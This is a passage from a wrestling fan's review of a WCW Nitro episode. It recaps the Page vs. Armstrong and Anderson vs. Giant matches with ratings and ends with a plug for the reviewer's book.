
Diamond Dallas Page vs. Brad Armstrong

Page has his normal music here now minus the Self High Five part. Oh and he’s Diamond Dallas at this point for some reason. He won Battlebowl the previous night and has a benefactor and a ring now apparently. Armstrong tries some basic stuff to start so Page bails into the corner. Considering there’s no way that Armstrong can win here we’re kind of wasting time at this point.

Nitro moves to two hours next week apparently. Page stomps away and we take a break. Back with Page holding onto a chinlock as I have a feeling this is going to be rather boring here. Backslide gets two for Armstrong and that’s about it at the moment. Page hits a spear in the corner but the second misses and the arm hits the post. Flair praises Armstrong actually as he rams Page into the buckles and then the mat. Top rope cross body by Armstrong gets two and there’s the Diamond Cutter to end this. He didn’t have it mastered yet though so he kind of ran with it at this point. He’d get better though.

Rating: D+. Pretty weak match here but at the same time Page was still getting better. That’s why they put him with Eddie later to give him some real experience like they did here but Eddie was an actual feud. Anyway, not much of a match here but they had to get him on the show, if nothing else for this next part.

Gene talks to Page who praises himself for a good while. His foot was on the floor at one point so they’re taking the title shot from him and giving it to Luger. Page keeps the ring though for no adequately explained reason. Page rants a bit and wouldn’t get the title shot for like two years.

WCW World Title: Arn Anderson vs. The Giant

I could listen to Anderson’s Horsemen music forever. Kevin Sullivan is with him for some reason. When do you ever see him getting world title shots anyway? Jimmy Hart and Sullivan argue a lot before the match. Anderson tries a go behind to start and Giant is just like dude, no.

Arn hammers away in the corner and that goes about as well as you would expect it to. Slam puts Arn down and Giant isn’t even sweating. Anderson is sent to the floor and this somehow goes even more slowly. Giant gets crotched on the rope as he comes back in and Anderson manages to take him down. DDT is attempted and Giant is again like dude, no. He lifts him up and the chokeslam ends this clean.

Rating: D+. I’d go with an N/A here if I used those anymore but that’s really all there is to say here. It ran about 3:40 and had about two minutes of action in it. Giant destroyed him here other than a few shots. The problem was Giant was a guy that was totally awesome in theory but he was green beyond belief. He was slowly getting better but it took a few more years before he could work a match longer than five minutes without someone great in there with him. He was trying though and he actually improved slowly though, which is what made him worth the time.

Heenan tries to steal all the stuff Flair brought him to end the show.

Overall Rating: B. This was a pretty good show overall but they didn’t know how to fill in an hour and a half show yet, which is why the NWO was absolutely required when they made the move to two hours the next week. This had a great match and another decent one on there as a lot of stuff started to shift. Anyway, next week is probably the most famous moment in WCW history so this doesn’t mean much in comparison.

Remember to follow me on Twitter @kbreviews and pick up my book on the History of the WWE Championship from Amazon for just $5 at: